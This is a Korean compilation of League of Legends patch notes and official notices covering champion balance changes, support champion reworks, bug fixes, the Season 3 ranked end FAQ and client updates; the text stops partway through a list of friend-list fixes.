설명: 체력 표시에는 게임 플레이에 꼭 필요한 정보가 표시되지만, 챔피언들이 한 곳에 모여 있을 때는 알아보기 어려웠습니다. 그래서 중요한 정보를 쉽게 파악할 수 있으면서도 플레이어의 챔피언은 물론 아군과 적군을 쉽게 구분할 수 있도록 개선했습니다.

  • 챔피언 체력 표시를 개선했습니다.
  • 이제 챔피언을 하이라이트하면 체력 게이지가 빛납니다.
  • 소환사 주문 강타의 그래픽 및 음향 효과와 아이콘을 업데이트 했습니다.

챔피언

어떤 스킬을 변경했는지 알아보기 더 쉽도록 스킬 이름 앞에 기본 단축키를 표시했습니다.


코르키

요약: 인광탄 스킬의 시전 사거리를 늘이고 마나 소모량을 낮추었습니다. 또한 이전처럼 바로 대상 지역에 피해를 입히는 대신 폭탄이 높이 솟아 오른 후에 폭발하도록 변경했습니다. 개틀링 건의 마나 소모량도 줄였고 미사일 폭격의 총 공격력 계수를 고레벨에서 상향했습니다.

설명: 인광탄에 게임 플레이 요소를 추가함으로써 더 효과적으로 코르키의 스킬, 특히 마나 소모량 측면에서 밸런스를 맞출 수 있었습니다. 이전까지 코르키는 게임 초반의 막대한 피해량에 지나치게 의존하며 공격로 전투 단계에서 챙긴 이득으로 게임 후반까지 유리한 플레이를 펼치는 챔피언이었습니다. 이번에 이 문제를 해결했으므로, 코르키의 게임 후반 경쟁력을 강화할 수 있었습니다.

Q - 인광탄

  • 마나 소모량이 60 / 70 / 80 / 90 / 100로 줄었습니다. (기존 80 / 90 / 100 / 110 / 120)
  • 이제 곧바로 대상 지역에 피해를 입히지 않고, 폭탄을 공중으로 발사한 후 착지한 시점에서 폭발이 일어나게 됩니다.
  • 사거리가 825로 늘어났습니다. (기존 600)
  • 폭탄이 공중에 떠 있는 동안 시야를 밝혀 줍니다.

E - 게틀링 건

  • 마나 소모량이 모든 레벨에서 50으로 변경되었습니다. (기존 60 / 65 / 70 / 75 / 80)

R - 미사일 폭격

  • 총 공격력 계수가 20 / 30 / 40%로 증가합니다. (기존 20%)



그라가스

요약: 술통 굴리기의 사거리를 줄이는 대신 작동 방식을 약간 바꿨습니다. 이제 술통이 목표 지점으로 굴러가는 동안 단축키를 계속해서 누르면 목표 지점에 닿자마자 바로 폭발합니다. 몸통 박치기는 부딪히는 적 모두에게 피해량이 100% 적용됩니다. 재사용 대기시간이 늘어났지만, 그라가스가 유닛과 충돌하면 절반으로 줄어들도록 했습니다.

설명:그라가스가 멀리서 술통으로 상대를 공격하기보단 좀 더 전략적으로 근접 전투에 참여하도록 하고자 했습니다. 몸통 박치기가 변경되었으므로, 이제 그라가스는 공격력을 극대화하고 기동력을 최대한 활용하려면 적극적으로 싸움에 뛰어들어야 합니다.

Q - 술통 굴리기

  • (시전 직후가 아니라) 술통이 목표 지점에 도달하기 직전에 스킬을 다시 사용하면 술통이 목표 지점에 닿자마자 폭발하도록 할 수 있습니다.
  • 사거리가 950으로 감소했습니다. (기존 1100)

E - 몸통박치기

  • 적중한 대상 모두에게 피해량이 100% 적용됩니다. (피해량이 여러 대상에 분산되지 않습니다.)
  • 재사용 대기시간이 12초로 증가했습니다. (기존 7초)
  • 그라가스가 유닛에 부딪히면 재사용 대기시간이 절반으로 줄어듭니다.



모르가나

설명:밸런스와 스킬은 변경하지 않고 챔피언의 전반적인 능력을 조정하는 방법은 상대하는 입장에서 해당 챔피언의 플레이를 보다 쉽게 예측할 수 있도록 하는 것입니다. 따라서 모르가나와 상대 모두에게 영혼의 족쇄 효과 적용 범위가 표시되도록 했습니다.

R - 영혼의 족쇄

  • 이제 모르가나와 상대 챔피언 모두에게 시전이 끝날 때까지 효과 적용 범위가 표시됩니다.



나서스

설명: 나서스의 그래픽 업그레이드가 이루어졌습니다. 또한 저레벨 구간에서 나서스의 생존력을 하향하여, 소극적인 플레이로 공격로에서 무한정 버티는 전략을 사용하기 어렵게 만들었습니다. 게임 후반에 나서스가 멈출 수 없는 힘을 발휘하지 못하게 하려면 상대는 게임 초반에 나서스를 적극적으로 견제해야만 할 것입니다.

일반

  • 나서스의 그래픽 업그레이드 가 이루어졌습니다. .

기본 지속 효과 - 영혼의 포식자

  • 생명력 흡수 수치를 10 / 15 / 20% (1 / 7 / 13 레벨)로 변경했습니다.
    (기존 14 / 17 / 20% (1 / 6 / 11 레벨))



노틸러스

설명: 게임 후반 보조 능력을 강화하여 팀전에서 노틸러스의 역할을 더 명확히 했습니다.

기본 지속 효과 - 강력한 일격

  • 효과 지속 시간을 0.5 / 0.75 / 1 / 1.25 / 1.5초(1 / 6 / 11 / 16 / 18레벨)로 늘렸습니다.
    (기존0.5 / 0.75 / 1 (1 / 7 / 13 레벨))



니달리

요약: 창 투척 스킬을 변경하여, 창이 인간 형태 기본 공격 사거리보다 멀리 날아갈 때에만 거리에 따른 추가 피해가 적용됩니다. 또한 이제 대상이 창에 맞은 시점이 아니라 던진 시점에서의 니달리의 위치를 기준으로 피해량이 계산됩니다. 매복 덫은 위치 감지 및 방어력/마법 저항력 감소 효과 지속시간을 줄여 하향했습니다.

설명: 주문력에 집중 투자한 니달리를 상대할 때 최대한 가까이 다가가 창 공격의 피해량을 줄이는 것이 최선의 방법이란 점을 명확히 하고자 했습니다. 또한 매복 덫의 기존 효과 지속시간은 너무 길었기 때문에 단축했습니다.

Q - 창 투척

  • 이제는 적이 창에 맞았을 때 니달리의 위치가 아닌, 창을 던진 위치를 기준으로 피해량을 계산합니다.
  • 니달리의 인간 형태 기본 공격 사거리를 넘어야만 창이 날아간 거리에 비례한 추가 피해를 적용합니다. (최대 피해량은 동일합니다.)

W - 매복 덫

  • 위치 감지 효과 및 방어력/마법 저항력 감소 효과 지속시간이 8초로 감소합니다. (기존 12초)



누누

설명: 변경된 소환사 주문 강타와 균형을 맞추기 위해, 잡아먹기의 저레벨 구간 피해량, 재사용 대기시간 및 치유량을 모두 줄였습니다.

Q - 잡아먹기

  • 재사용 대기시간을 13 / 12 / 11 / 10 / 9초로 저레벨 구간에서 줄였습니다. (기존 17 / 15 / 13 / 11 / 9초)
  • 피해량을 400 / 550 / 700 / 850 / 1000으로 저레벨 구간에서 낮추었습니다. (기존 500 / 625 / 750 / 875 / 1000)
  • 치유량을 70 / 115 / 160 / 205 / 250(+0.75 주문력)으로 저레벨 구간에서 하향했습니다. (기존 90 / 130 / 170 / 210 / 250(+0.75주문력))



시비르

요약: 부메랑 검의 기본 피해량을 낮추고, 추가 공격력이 아니라 총 공격력 계수를 적용했습니다. 게임 초 중반 공격력을 하향한 대신, 반사된 부메랑 검에 맞는 대상들이 입는 피해량을 약간 더 높였습니다.

설명: 게임 초반에 조금만 이득을 챙겨 공격력 아이템을 갖추면, 시비르는 부메랑 검을 적절하게 사용하여 순간적으로 엄청난 피해를 입힐 수 있었습니다. 이로써 상대를 완전히 압도하고 공격로를 장악할 수 있었죠. 단순히 시비르의 스킬 피해량을 전부 하향하는 것은 바람직하지 않다고 판단해 두 가지 목표를 염두에 두고 변경했습니다. 첫째, 게임 중후반에 부메랑 검이 단일 대상에 입히는 폭발적인 피해량을 줄이려 했습니다. 둘째, 특히 게임 후반에 광역 피해를 노리고 사용할 경우 부메랑 검 피해량이 시비르의 공격력에 비해 지나치게 떨어지지 않도록 했습니다.

Q - 부메랑 검

  • 이제 추가 공격력이 아닌 총 공격력 계수가 적용됩니다.
  • 피해량이 25 / 45 / 65 / 85 / 105(+0.7 / 0.8 / 0.9 / 1.0 / 1.1 총 공격력)으로 바뀝니다. (기존 60 / 105 / 150 / 195 / 240(+1.1 추가 공격력))
  • 부메랑이 튕길 때마다 피해량이 감소하는 비율이 10%로 줄어듭니다. (기존 20%)



베인

요약: 선고의 숨겨진 위력을 좀 줄이기로 했습니다. 이제 대상이 벽에 부딪히지 않으면 행동 불능 상태에 빠지지 않습니다. 또한 선고를 시전해 대상을 밀어내면서 동시에 추가 기본 공격을 가할 수 없게 됐습니다.

설명: 모르가나와 마찬가지로 베인의 경우도 수치를 직접 하향하기보단 상대가 대응할 길을 더 열어주거나 숨은 효과를 줄이는 식으로 변경했습니다. 이전까지 숙련된 베인 플레이어는 선고를 시전한 직후 상대에 바로 기본 공격을 가해 공격로 맞대결에서 우위를 점할 수 있었습니다.

E - 선고

  • 이제 적 챔피언에게 선고를 시전한 후 바로 기본 공격을 가할 수 없습니다.
  • 대상이 벽에 부딪히지 않았는데도 시전 직후 잠시 동안 행동 불능 상태에 빠지던 버그를 수정했습니다.
  • 이제 선고 스킬의 피해는 대상을 뒤로 날려보낸 후에 적용됩니다. 벽 충돌 시 치명타로 표시됩니다.



레오나

설명: 팀 전투에서 최전방에 나서야 한다는 점을 고려하면, 서포터이자 탱커인 챔피언들은 팀 승리에 뚜렷하게 기여하기엔 생존력이 부족한 경우가 많았습니다. 레오나는 팀전 상황에서 적진을 교란하는 능력은 이미 충분하지만, 게임이 진행되면서 진정한 탱커로 성장하기 위해선 생존력을 향상시킬 필요가 있다고 판단했습니다.

W - 일식

  • 기본 방어력/마법 저항력 증가량을 25 / 35 / 45 / 55 / 65로 변경했습니다. (기존 30 / 40 / 50 / 60 / 70)
  • 이제 레오나의 추가 방어력 20%만큼 방어력이 증가합니다.
  • 이제 레오나의 추가 마법 저항력 20%만큼 마법 저항력이 증가합니다.

▲Top



서포터 챔피언 변경 사항

설명: 서포터 역할을 담당하도록 설계된 챔피언들의 스킬이 성장하는 방식을 변경했습니다. 피해량보다는 보조 및 보호 능력에 초점을 맞춰 성장하도록 했으며, 서포터의 골드 획득량이 증가함에 따라 일부 챔피언이 지나치게 강력해지는 상황을 피하기 위해 일부 수치를 약간 조정했습니다.
변경 사항을 전체적으로 살펴보시려면 프리시즌 웹사이트를 참조하세요.


잔나

요약: 잔나의 기본 지속 효과를 팀 전체가 아니라 일정 범위에 적용되도록 하는 대신 이동 속도 증가율을 상향했습니다. 또한 울부짖는 돌풍의 피해량을 전체적으로 줄이는 대신 폭풍을 키우는 시간이 길어질 수록 기본 피해량과 주문력 계수가 커지도록 했습니다. 서풍의 기본 지속 효과의 추가 이동 속도 및 사용 효과의 둔화 효과 또한 이제 주문력에 비례해 커집니다. 폭풍의 눈 스킬의 경우, 보호막 주문력 계수는 하향했지만 대상에 부여하는 추가 공격력에도 주문력 계수가 적용됩니다.

설명: 이전 패치에서도 팀 전체에 영향을 미치는 기본 지속 효과를 변경하겠다고 말씀드린 바 있으며, 이번 기회에 순풍 효과도 변경하기로 했습니다. 울부짖는 돌풍 스킬은 시전 후 '충전' 시간이 길어질수록 주문력 계수가 커지게 되었으므로, 이제 게임 후반 피해량을 높이려면 돌풍을 완전히 충전할 필요가 있습니다.

기본 지속 효과 - 순풍

  • 이제 일정 범위에만 효과가 적용됩니다. (범위 800)
  • 이동 속도 증가 효과를 5%로 상향했습니다. (기존 3%)

Q - 울부짖는 돌풍

  • 이제 돌풍을 충전하는 동안 주문력 계수가 초당 +0.1씩 상승합니다.
  • 기본 주문력 계수를 0.35으로 하향했습니다. (기존 0.75)
  • 충전 시 초당 기본 추가 피해를 15 / 20 / 25 / 30 / 35로 줄였습니다. (기존 25 / 30 / 40 / 50 / 60)

W - 서풍

  • 기본 지속 효과의 이동 속도 증가 효과에 주문력 50당 1%의 계수가 적용됩니다. (+0.02 주문력)
  • 기본 지속 효과의 이동 속도 증가율이 4 / 6 / 8 / 10 / 12% (+0.02 주문력)으로 바뀝니다. (기존 4 / 7 / 10 / 13 / 16%)
  • 둔화 효과에는 주문력 50당 3%의 계수가 적용됩니다. (최대 80%)
  • 기본 둔화율을24 / 28 / 32 / 36 / 40%로 줄였습니다. (기존 24 / 30 / 36 / 42 / 48%)
  • 피해량 주문력 계수를0.5로 줄였습니다. (기존 0.6)

E - 폭풍의 눈

  • 보호막의 공격력 증가량에 주문력 10당 1의 계수가 적용됩니다. (+0.1 주문력)
  • 보호막 피해 흡수량의 주문력 계수를 0.7로 줄였습니다. (기존 0.9)



룰루

요약: 룰루 스킬의 여러 효과에 주문력 계수를 추가했습니다. 요정 친구 픽스 기본 지속 효과의 피해량과 반짝반짝 창 스킬의 최소 둔화율, 변덕쟁이의 이동 속도 증가 효과가 주문력에 비례해 커집니다. 대신 변덕쟁이의 주문력 증가 효과를 삭제하고, 기본 이동 속도 증가율을 약간 낮췄습니다.

설명: 다른 서포터와 마찬가지로 룰루도 피해량이 아니라 보조 능력에 초점을 맞추고자 했습니다. 대표적으로 요정 친구 효과와 변덕장이의 상향을 들 수 있죠. 이로써 공격 속도가 빠른 아군을 더욱 강력하게 해주며 필요할 때마다 이동 속도를 크게 증가시켜주는 룰루의 특징이 더욱 명확해졌습니다. 반짝반짝 창의 경우, 이미 강력한 피해량은 변경하지 않고 대신 둔화 효과가 주문력에 따라 강해지도록 했습니다.

기본 지속 효과 - 요정 친구 픽스

  • 0.15의 주문력 계수를 추가했습니다.
  • 기본 피해량을 9 / 18 / 27 / 36 / 45 / 54 / 63 / 72 / 81 (+0.15 주문력)으로 줄였습니다. (기존 9 / 21 / 33 / 45 / 57 / 69 / 81 / 93 / 105 (+0 주문력))

Q - 반짝반짝 창

  • 이제 둔화 효과가 일정 시간 동안 0%로 감소하지 않고, 주문력 7.5당 1%의 최소 수치로 감소합니다.

W - 변덕쟁이

  • 이제 이동 속도 증가 효과에 주문력 10당 1%의 계수가 적용됩니다. (주문력 계수 0.1)
  • 주문력 증가 효과를 삭제했습니다.
  • 기본 이동 속도 증가율이 30%로 감소했습니다. (기존 35%)

E - 도와줘, 픽스!

  • 공격 시 피해량의 주문력 계수가 0.4로 감소했습니다. (기존 0.6)



나미

요약: 물 감옥과 해일의 주문력 계수를 하향했으나, 밀려오는 파도 기본 지속 효과와 밀물 썰물 스킬은 상향했습니다. 밀려오는 파도의 이동 속도 증가율과 밀물 썰물의 반사 시 효과가 주문력에 비례해 강력해집니다. 만약 주문력이 충분하다면, 밀물 썰물 스킬의 피해량과 치유량은 반사될 때마다 커집니다.

설명: 나미는 전반적으로 괜찮은 성장성을 갖춘 챔피언이지만, 이동 속도 증가 효과나 둔화 효과를 강화하여 보조 능력을 높일 여지가 있었습니다. 가장 주목할만한 변화는 밀물 썰물 스킬의 주문력 계수입니다. 주문력이 늘어날수록 반사 후의 스킬 효과가 점점 강화되어, 궁극적으로는 스킬이 반사될 때마다 피해량과 치유량이 증폭되는 것도 가능하게 되었습니다.

기본 지속 효과 - 밀려오는 파도

  • 이제 이동 속도 증가율이 주문력 10 당 1씩 증가합니다. (주문력 계수 0.1)

Q - 물감옥

  • 피해량 주문력 계수가 0.5로 감소합니다. (기존 0.65)

W - 밀물 썰물

  • 반사 시 효과 증감률이 주문력에 따라 변화합니다. 반사 시마다 주문력 10당 0.75%의 추가 효과가 적용됩니다.

E - 파도 소환사의 축복

  • 이제 둔화율이 주문력 20당 1%씩 커집니다. (주문력 계수 0.05)

R - 해일

  • 피해량 주문력 계수를 0.6으로 줄였습니다. (기존 0.7)



소나

요약: 소나의 골드 획득량이 늘어나자 크레센도와 용맹의 찬가가 지나치게 강력해지는 현상이 나타났습니다. 그래서 두 스킬의 주문력 계수를 하향했고, 인내의 아리아의 고레벨 구간 기본 치유량을 변경했습니다. 그러나 여전히 파워 코드로 적에게 큰 피해를 입힐 수 있으며, 주문력 계수가 추가되었으므로 게임 후반에도 강력한 모습을 보일 수 있습니다. 또한 기민함의 노래 사용 효과의 경우, 주문력 계수를 추가하는 대신 기본 이동 속도 증가율을 소폭 하향했습니다.

설명: 소나의 경우 다른 스킬의 위력을 덜어내 파워 코드와 기민함의 노래에 힘을 실기 위한 변경이 이루어졌습니다. 이를 통해 소나의 보조 능력이 후반으로 갈수록 성장하면서도, 파워 코드는 항상 유용하게 사용할 수 있도록 했습니다.

기본 지속 효과 - 파워 코드

  • 파워 코드 - 스타카토의 피해량에 0.2의 주문력 계수를 추가했습니다.
  • 파워 코드 - 디미누엔도의 피해 감소량에 0.02의 주문력 계수를 더했습니다.
  • 파워 코드 - 템포의 둔화 효과에 0.04의 주문력 계수를 부여했습니다.

Q - 용맹의 찬가

  • 주문력 계수를 0.5로 줄였습니다. (기존 0.7)

W - 인내의 아리아

  • 고레벨 구간의 기본 치유량이 40 / 55 / 70 / 85 / 100으로 감소했습니다. (기존 40 / 60 / 80 / 100 / 120)

E - 기민함의 노래

  • 이제 사용 효과의 이동 속도 증가율이 주문력 50당 1%씩 커집니다. (주문력 계수 0.02)
  • 사용 효과의 이동 속도 증가율이 4 / 6 / 8 / 10 / 12%(+0.02 주문력)으로 변경됐습니다. (기존 6 / 8 / 10 / 12 / 14%)

R - 크레센도

  • 주문력 계수가 0.5로 줄어듭니다. (기존 0.8)



소라카

요약: 소라카의 기본 체력과 레벨당 체력, 기본 방어력을 모두 상향했으며, 새로운 기본 지속 효과를 부여해 대상이 잃은 체력이나 마나에 비례해 체력 및 마나 회복량이 증가하도록 했습니다. 별부름의 마법 저항력 감소량에 주문력 계수가 추가되었으며, 적 챔피언을 한 명이라도 맞히면 은하의 축복 재사용 대기시간이 감소하도록 변경했습니다. 은하의 축복도 방어력 증가 효과에 주문력 계수가 추가되었습니다. 마력 주입의 경우 소라카의 마나를 소모해 아군의 마나를 회복하거나 마나 양에 기반해 적에게 추가 피해를 입히도록 변경했습니다. 또한, 이제 기원 스킬로 대상으로 지정할 수 없는 아군까지 치유할 수 있도록 했습니다.

설명: 소라카의 경우, 보조 능력의 비례 효과를 더 주고 전투 시 전략적 플레이를 장려하는 방향으로 초점을 맞추었습니다. 또한 스킬 구성을 변경해 소라카를 단순히 체력과 마나 충전용으로 쓰기보단 전투에 직접 참여해 아군을 치유하는 플레이를 유도하도록 했습니다.

기본 능력치

  • 기본 체력을 405로 상향했습니다. (기존 375)
  • 레벨당 체력을 76로 상향했습니다. (기존 71)
  • 기본 방어력을 9.4로 높였습니다. (기존 7.4)

신규 기본 지속 효과 - 구원

  • 새효과: 대상이 잃은 체력이나 잃은 마나2%당 1%씩 소라카의 체력 또는 마나 회복 능력이 증가합니다.

Q- 별부름

  • 마법 저항력 감소 효과가 이제 주문력 100당 1씩 커집니다. (주문력 계수 0.01)
  • 마법 저항력 감소 효과가 전 레벨에서 6(+0.01 주문력)으로 변경됐습니다. (기존 8 / 9 / 10 / 11 / 12)
  • 별부름으로 적 챔피언을 하나라도 맞히면 은하의 축복의 재사용 대기시간이 5% / 6.25% / 7.5% / 8.75% / 10%씩 감소합니다.
  • 마나 소모량이 30 / 40 / 50 / 60 / 70로 변경됐습니다. (기존 20 / 35 / 50 / 65 / 80)

W - 은하의 축복

  • 추가 방어력이 주문력 20당 3 증가합니다. (주문력 계수 0.15)
  • 추가 방어력을 50 / 65 / 80 / 95 / 110(+0.15 주문력)으로 변경했습니다. (기존 25 / 45 / 65 / 85 / 105)
  • 방어력 증가 효과 지속 시간이 2초로 줄었습니다. (기존 3초)
  • 치유량이 70 / 130 / 180 / 230 / 270(+0.35 주문력)으로 감소했습니다. (기존 70 / 140 / 210 / 280 / 350 (주문력 +0.45))
  • 마나 소모량을 80 / 100 / 120 / 140 / 160으로 낮췄습니다. (기존 80 / 110 / 140 / 170 / 200)

E - 마력주입

  • 아군에게 시전하면 대상의 마나를 20 / 40 / 60 / 80 / 100만큼 회복하며 소라카가 최대 마나 5%를 소모하여 그 만큼을 추가로 회복시킵니다. (기존에는 마나 소모 없이 마나 40 / 80 / 120 / 160 / 200 회복)
  • 적에게 시전하면 대상에 40 / 70 / 100 / 130 / 160의 피해와 더불어 소라카의 최대 마나량의 5%(+0.4 주문력)에 해당하는 추가 피해를 입힙니다. (기존 50 / 100 / 150 / 200 / 250 (+0.6주문력))
  • 마나를 사용하지 않거나 마나량이 이미 최대인 아군에는 시전할 수 없습니다.

R - 기원

  • 이제 대상으로 지정할 수 없는 아군에게도 적용됩니다.
  • 치유량이 150 / 250 / 350(+0.55 주문력)으로 감소했습니다. (기존 200 / 320 / 440 (+0.7 주문력))



타릭

요약: 타릭의 기본 지속 효과를 변경해 스킬 시전 시마다 다음 기본 공격이 타릭이 가진 방어력의 30%만큼 추가 마법 피해를 입히고 스킬 재사용 대기시간을 줄이도록 했습니다. 원기 부여의 주문력 계수를 하향하는 대신 추가 체력 계수를 추가했습니다. 또한 산산조각 스킬의 피해량 주문력 계수를 삭제하고 기본 피해량 또한 낮췄습니다. 대신 방어력 계수를 증가시켰으며, 방어력 감소 효과도 타릭의 방어력에 비례해 커지게 했습니다. 마지막으로 황홀한 강타와 영롱한 빛의 주문력 계수를 낮추고 재사용 대기시간을 늘렸습니다.

설명: 기본 지속 효과 변경을 통해 타릭의 플레이에 전반적으로 깊이를 더하고, 스킬을 더욱 뚜렷하게 차별화하고자 했습니다. 또한 (매력 넘치며) 튼튼한 팀전에 강한 서포터라는 역할을 강조하고자 여러 스킬에 방어력 계수를 추가했습니다.

신규 기본 지속 효과 - 보석학

  • 새효과: 스킬 시전 후, 다음 기본 공격에 총 방어력의 30%만큼 추가 마법 피해가 적용됩니다.
  • 기본 지속 효과로 강화된 기본 공격을 가하면 모든 스킬의 재사용 대기시간이 2초 줄어듭니다.

원기부여

  • 기본 공격 시 재사용 대기시간 감소 효과를 기본 지속 효과로 옮겼습니다.
  • 기본 재사용 대기시간을 20 / 19 / 18 / 17 / 16초에서18 / 17 / 16 / 15 / 14초로 줄였습니다.
  • 주문력 계수를 0.6에서 0.3으로 낮췄습니다.
  • 추가 체력의 5%만큼 치유 효과가 커집니다.

산산조각

  • 피해량이 40 / 80 / 120 / 160 / 200(+30% 총 방어력) (+0 주문력)으로 감소했습니다. (기존 50 / 90 / 130 / 170 / 210 (+20% 총 방어력) (+0.6 주문력))
  • 이제 방어력 감소 효과가 타릭의 총 방어력의 10%만큼 증가합니다.

황홀한 강타

  • 주문력 계수가 0.2 / 0.4 주문력으로 감소했습니다. (기존 0.4 / 0.8 주문력)
  • 재사용 대기시간이 14 / 13 / 12 / 11 / 10초에서 18 / 17 / 16 / 15 / 14초로 증가했습니다.

영롱한 빛

  • 주문력 계수가 0.5 주문력 로 감소했습니다. (기존, 0.7 주문력)
  • 재사용 대기시간이 75 초로 증가했습니다. (기존 60초)

▲Top



약간의 변경 및 버그 수정

케넨

전류 방출

  • 전류 방출의 시전 시간이 끝나기 전에 폭풍의 표식이 사라지거나 완전히 소모되면 전류 방출이 적중하지 않던 버그를 수정했습니다.
    • o 이제 케넨이 전류 방출을 시전하는 도중에는 폭풍의 표식이 사라지지 않습니다.
    • o 폭풍의 표식이 다른 스킬로 소모되는 순간에 전류 방출을 시전해도 정상적으로 피해를 입히고 중첩을 쌓을 수 있습니다.



설명: 지난 패치에서 쉔의 충돌 판정 반경을 도착 지점에서 과하게 줄였다는 판단에 따라 반경을 약간 늘렸습니다.

그림자 돌진

  • 도착 지점 충돌 반경을 약간 늘렸습니다.



신지드


  • 신지드가 달릴 때의 애니메이션을 개선했습니다.



소라카


  • 소라카가 달릴 때의 애니메이션을 개선했습니다.



녹턴

황혼의 인도자

  • 자취의 추가 효과가 다소 일관성 없이 적용되던 버그를 수정했습니다.

바이

기동타격

  • 바이가 기동타격을 시전하는 순간에 밴시의 장막 효과가 발동되면 돌진 동작이 풀리지 않던 버그를 해결했습니다. 


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출처 : 리그 오브 레전드 공식 홈페이지


소환사 여러분,

 

11월 14일(목) 10:50 부터 적용되는 업데이트 내용입니다.

 

• 2013 시즌이 종료되었음에도 불구하고 랭크팀 보상 관련 알림이 보이던 버그를 수정하였습니다.

• 로그인 화면이 징크스로 변경되었습니다.

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출처 : 리그 오브 레전드 공식 홈페이지


소환사 여러분,

 

잠시 후 11/11 23:59에 시즌 3가 종료되고 시즌 종료 보상을 지급하기 위해 랭크 게임을 비활성화할

예정입니다.

 

보상 지급이 완료되면 랭크 게임이 활성화 되지만 시즌 3 랭크 게임 기록은 사라지지 않을 것입니다. 
이번에는 프리시즌이 아닌 차기 시즌  개막과 함께 랭크 게임 기록에 소프트 리셋을 적용할 예정이기

때문입니다.

 

그 이유는 아래 FAQ에서 자세히 설명 드리겠지만, 간단히 말씀 드리면 이번 프리시즌에는 대대적인

변경이 이루어지는 만큼 차기 시즌 랭크 게임 플레이에 너무 큰 영향을 주지 않으면서 승부를 겨룰 수

있도록 하기 위해서입니다.

 

물론, 프리시즌 동안의 성적도 차기 시즌 랭크 게임 배치에 어느 정도 영향을 끼치기 때문에 전혀 의미

없는 것은 아닙니다. 이번 프리시즌 동안에는 리그 시스템 개선 작업도 진행할 계획이며, 구체적인 사항에

대해선 지속적으로 안내 드리겠습니다.


프리시즌 기간의 랭크 게임에 대해 궁금하신 점은 우선 아래 FAQ를 참고해 주세요.

 

정의의 전장에서 승리를 기원합니다.

 

FAQ


Q: 프리시즌은 언제 시작되나요?
A: 시즌 3 보상 지급이 완료되면 랭크 게임이 가능하지만 프리시즌은 아닙니다. 프리시즌 일정에 대해서는

추후 공지를 통해 알려드리겠습니다.

 

Q: 그러면 프리시즌 전 까지의 기록은 프리시즌에 반영되지 않나요?
A: 진행하셨던 경기의 기록은 프리시즌까지 이어지기 때문에 최선을 다해 임해주시는게 유리합니다.

 

Q: 프리시즌 동안 상위 티어로 승급하면 시즌 종료 보상을 받을 수 있나요?
A: 안타깝지만 보상은 드리지 않습니다. 시즌 3 종료 보상은 11월 11일 23:59 까지를 기준으로 지급합니다.

차기 시즌에서 한 번 더 기회를 노려보세요.

 

Q: 프리시즌에 랭크 게임을 하는 건 의미가 없지 않나요?
A: 분명히 말씀드리면 프리시즌 랭크 게임도 중요합니다. 차기 시즌 랭크 게임 초기화는 하드 리셋이

아닙니다. 이를테면 시즌 초반 다이아몬드 티어 수준의 플레이어가 초보 수준의 플레이어를 만나는 사태를

방지하기 위해, 현재 실력과 비슷한 수준으로 초기화되는 것입니다. 프리시즌 동안에도 실력과 순위가

변동될 것이므로, 프리시즌 랭크 게임 결과는 차기 시즌 랭크 배치에 영향을 미칠 것입니다.

 

Q: 왜 프리시즌을 시작할 때 초기화를 하지 않나요?
이번 프리시즌에는 게임 플레이에서부터 리그 시스템까지 상당히 많은 부분을 변경하기 때문입니다.

변경이 이루어지는 시기에 초기화를 적용하면 변경 사항 관련 데이터에 영향을 미칠 수 있습니다.

또한 프리시즌 시작 시점에서 랭크 게임을 초기화하지 않음으로서, 플레이어 여러분께선 차기 시즌

랭크 게임 배치에 큰 영향을 받지 않고도 변경된 사항을 시험해 보며 적응할 여유를 가질 수 있습니다.

 

Q: 그럼 프리시즌과 차기 시즌이 시작할 때 각각 초기화를 하면 어떨까요?
A: 짧은 기간에 두 번이나 리그 시스템에 큰 변화를 일으키면 긍정적인 효과를 기대하기 어렵습니다.
플레이어 여러분과 게임 기획팀 모두가 달라진 환경에 적응할 시간을 가질 필요가 있습니다.
모든 플레이어가 동등하게 적응하고 연습할 시간을 가진 상태에서 차기 시즌을 시작할 수 있도록 말입니다.

 

Q: 프리시즌 동안 랭크 게임을 전혀 플레이하지 않으면 어떻게 되나요? 점수가 하락해서 차기 시즌에

낮은 위치에서 출발하게 되나요?
A: 아닙니다. 물론, 다른 플레이어들은 먼저 변화에 적응하려고 노력하고 있겠지만 프리시즌 동안 랭크

게임을 플레이하지 않는 것도 가능한 선택입니다. 이런 플레이어 여러분께 적응 기간을 드리기 위해

프리시즌 시작 후에 휴면 상태로 인한 점수 하락 시스템을 잠시 정지할 계획입니다. 그러므로 프리시즌

동안의 랭크 게임 플레이는 랭크 게임의 치열한 승부를 즐기는 플레이어 여러분이나 차기 시즌에 미리

앞서나가고 싶은 플레이어 여러분께만 추천해 드립니다. 다만 챌린저 티어의 휴면 상태 계정은 종전과

마찬가지로 점수 하락이 적용되니 주의 바랍니다. 리그의 최상위권에선 언제나 치열한 경쟁이 펼쳐져야

하니까요.

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출처 : 리그 오브 레전드 공식 홈페이지


소환사 여러분,


11월 7일(목) 07:51 부터 적용되는 업데이트 내용입니다.

 

• 점화석의 가격이 100골드 높게 적용되던 버그를 수정하였습니다.

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출처 : 리그 오브 레전드 공식 홈페이지


게임 클라이언트 및 PvP.net
• 서버에 문제가 생겼을 경우 유동적으로 게임 결과를 “기록되지 않는 대전”으로 처리할 수 있도록 기능을 일부

변경했습니다. 게임 서버에 문제가 생기면 대전 결과가 기록되지 않는 경우를 이전보다 자주 보실 수 있을 것입니다.
• 게임 내 아이템 및 기능을 즉각적으로 사용 불가로 만들 수 있게 했습니다. 게임 플레이에 악영향을 미치거나

악용될 소지가 있는 버그 등이 발견될 경우, 랭크 게임을 모두 종료시키지 않고도 선택적으로 문제를 해결할 수

있게 됐습니다.
• 챔피언 선택 화면에서 타이머의 정확성과 안정성을 향상시켰습니다.

(이 기능은 이번 패치에 포함됐으나, 추후 활성화할 예정입니다.)

o 게임 클라이언트가 챔피언 선택 과정 내내 타이머를 게임 서버와 능동적으로 동기화 시킵니다.

플레이어의 PC에서 타이머가 늦어지는 경우, 예를 들어 60초였던 시간이 갑자기 50초로 줄어드는 등

남은 시간 표시가 갑작스레 바뀔 수 있습니다. 하지만, 시간이 남았다고 표시되는데도 챔피언을

선택할 수 없게 되는 상황은 더 이상 없을 것입니다.
o 타이머가 예전처럼 89초부터 시작하도록 변경했으며, 준비 완료 버튼을 누른 후에는 9초부터

시작하도록 변경했습니다. (숫자가 바뀐 것 눈치 채셨었나요?)

• 챔피언 선택 화면에서 스킨을 선택할 때 화면이 짧게 깜빡이는 버그를 수정했습니다.
• 한시적으로 제공됐던 시즌3 월드 챔피언십 진출팀 소환사 아이콘이 게임 클라이언트에서 삭제됐습니다.
• 구매한 챔피언이나 스킨이 드물게 사라지는 버그를 수정했습니다.

 

친구 목록
• 외부 채팅 프로그램 사용으로 인해 발생하는 친구 목록 오류를 수정하기 위한 기술을 적용했습니다.

이를 통해 다음과 같은 버그들이 해결될 것입니다.

